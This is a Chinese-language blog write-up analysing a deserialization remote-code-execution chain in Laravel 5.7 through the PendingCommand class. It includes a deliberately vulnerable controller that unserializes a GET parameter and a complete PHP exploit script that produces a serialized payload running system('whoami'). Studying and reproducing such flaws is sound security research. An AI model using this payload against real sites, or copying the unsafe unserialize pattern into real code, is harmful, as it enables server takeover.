Laravel5.7反序列化RCE漏洞分析

前言

以前只是粗略的知道反序列化漏洞的原理,最近在学习Laravel框架的时候正好想起以前收藏的一篇反序列化RCE漏洞,借此机会跟着学习一下POP链的挖掘

简介

Laravel是一个使用广泛并且优秀的PHP框架。这次挖掘的漏洞Laravel5.7版本,该漏洞需要对框架进行二次开发才能触发该漏洞

本地环境

  • Laravel5.7.28
  • Wamper64+PHP7.3.5(PHP >= 7.1.3)

    环境准备

  1. 使用composer部署Laravel项目
    • 创建一个名为laravel的Laravel项目
      composer create-project laravel/laravel=5.7.* --prefer-dist ./
    • Laravel框架为单入口,入口文件为{安装目录}/public/index.php,使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功(或者使用命令php artisan serve开启临时的开发环境的服务器进行访问)
  2. 配置路由以及控制器
    • Laravel所有的用户请求都由路由来进行控制。我们添加一条如下的路由
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      <?php
      use \Illuminate\Support\Facades\Route;
      /*
      |--------------------------------------------------------------------------
      | Web Routes
      |--------------------------------------------------------------------------
      |
      | Here is where you can register web routes for your application. These
      | routes are loaded by the RouteServiceProvider within a group which
      | contains the "web" middleware group. Now create something great!
      |
      */
      Route::get('/', function () {
      return view('welcome');
      });
      // 添加的路由
      Route::get('/test', 'Test\TestController@Test');
  • 控制器中Test函数实现反序列化功能:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    namespace App\Http\Controllers\Test;

    use Illuminate\Http\Request;
    use App\Http\Controllers\Controller;

    class TestController extends Controller
    {
    public function Test()
    {
    $code = $_GET['c'];
    unserialize($code);
    }
    }

漏洞分析

Laravel5.7版本在vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹下增加了一个PendingCommand类,官方的解释该类主要功能是用作命令执行,并且获取输出内容。
该类中几个重要属性:

1
2
3
4
public $test;           //一个实例化的类 Illuminate\Auth\GenericUser
protected $app; //一个实例化的类 Illuminate\Foundation\Application
protected $command; //要执行的php函数 system
protected $parameters; //要执行的php函数的参数 array('id')
  • 用于命令执行的函数为PendingCommand.php中的run()函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    /**
    * Execute the command.
    *
    * @return int
    */
    public function run()
    {
    $this->hasExecuted = true;

    $this->mockConsoleOutput();

    try {
    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
    if ($e->getMethodName() === 'askQuestion') {
    $this->test->fail('Unexpected question "' . $e->getActualArguments()[0]->getQuestion() . '" was asked.');
    }

    throw $e;
    }

    if ($this->expectedExitCode !== null) {
    $this->test->assertEquals(
    $this->expectedExitCode,
    $exitCode,
    "Expected status code {$this->expectedExitCode} but received {$exitCode}."
    );
    }
    return $exitCode;
    }
  • run()函数被析构函数__destruct()调用
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    /**
    * Handle the object's destruction.
    *
    * @return void
    */
    public function __destruct()
    {
    if ($this->hasExecuted) {
    return;
    }

    $this->run();
    }
    简单的POP链为:构造的exp经过反序列化后调用__destruct(),进而调用run(),run()进行代码执行。下面进行详细的分析
  • 首先将构造好的序列化数据通过参数C传入,调用__destruct()__destruct()方法中首先判断$hasExecuted,如果为true则return,可以看到该变量默认值为false,所以可以顺利进入run()方法`
    1
    2
    3
    4
    5
    6
    /**
    * Determine if command has executed.
    *
    * @var bool
    */
    protected $hasExecuted = false;
  • 观察run()方法内的代码,我们要让代码顺利执行到run()处才能顺利执行代码。首先进入mockConsoleOutput()方法

run

  • 171行使用Mockery::mock实现对象模拟,经过调试可以顺利运行,接下来进入mockConsoleOutput()函数

mockConsoleOutput

  • 接下来又是Mockery::mock实现对象模拟,经过调试代码可以顺利运行到foreachforeach循环里的代码是$this->test->expectedOutput,这里对$this->test类的expectedOutput属性
    进行遍历作为数组,代码才能正常执行下去。但是该类并不存在expectedOutput属性;经过分析代码,我们发现这里只要能够返回一个数组代码就可以顺利进行下去。

createABufferedOutputMock

  • 因此我们全文搜索__get()方法,让__get()方法返回我们想要的数组就可以了。这里我选择的是DefaultGenerator.php

get

  • 我们对DefaultGenerator类进行实例化并传入数组array('hello'=>'world'),打断点进行调试可以看到代码顺利执行下去了

get1
get2

  • 后面的代码都是可以顺利执行下去的,接下来我们又回到了mockConsoleOutput()方法内,接下来又是一个forearch循环,如上一步的遍历数组一样,顺利执行下去

get3

  • 接下来代码会执行到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,其中Kernel::class为固定值:"Illuminate\Contracts\Console\Kernel",在该处下断点进行调试分析下面的调用栈

    → offsetGet(),$key=”Illuminate\Contracts\Console\Kernel”
    offsetGet
    → make(),$abstract=”Illuminate\Contracts\Console\Kernel”
    make
    → make():父类的make(),$abstract=”Illuminate\Contracts\Console\Kernel”,$parameters=array(0)
    make1

  • 其中return $this->instances[$abstract];=$this->instances["Illuminate\Contracts\Console\Kernel"]也就是返回了Illuminate\Foundation\Application对象;即我们可以将任意对象赋值给 $this->instances[$abstract] ,这个对象最终会赋值给[Kernel::class] ,接着调用call()方法

    → resolve(),$abstract=”Illuminate\Contracts\Console\Kernel”,instances数组中为Application对象
    resolve

  • 下面我们成功的执行到了call()方法,

    →call()
    call

  • 其中isCallableWithAtSign()方法是判断确定给定的字符串是否使用Class@method语法,不满足自然跳出,执行到

    1
    2
    3
    4
    5
    return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
    return call_user_func_array(
    $callback, static::getMethodDependencies($container, $callback, $parameters)
    );
    });

    →BoundMethod::call()
    call1

  • 我们来分析一下callBoundMethod()函数,可以发现它的作用只是判断$callback是否为数组

    1
    2
    3
    4
    5
    protected static function callBoundMethod($container, $callback, $default)
    {
    if (! is_array($callback)) {
    return $default instanceof Closure ? $default() : $default;
    }
  • 继续跟进下面的匿名函数:

    1
    2
    3
    4
    5
    function () use ($container, $callback, $parameters) {
    return call_user_func_array(
    $callback, static::getMethodDependencies($container, $callback, $parameters)
    );
    }

    其中$callback参数是我们可控的,第二个参数由函数getMethodDependencies()控制,我们跟进看一下
    call2

  • 经过调试,得出结论:它将我们传入的$parameters数组和$dependencies数组合并,其中$dependencies数组为空,而$parameters数组是我们可控的。最终也就是执行了call_user_func_array('xxx',array('xxx'))

本地环境复现

exp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

echo urlencode(serialize($pendingcommand));
}
  • 最后贴上利用截图
    exp

总结

  • 这个反序列化RCE重要的点:
    • 在进入run()函数,运行到call()前,需要bypassmockConsoleOutput()mockConsoleOutput(),由于某个属性的不存在,我们需要魔法函数__get()返回数组来顺利运行下文的代码
Author: Isabellae
Link: http://is4b3lla3.github.io/2020/03/06/Laravel5.7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.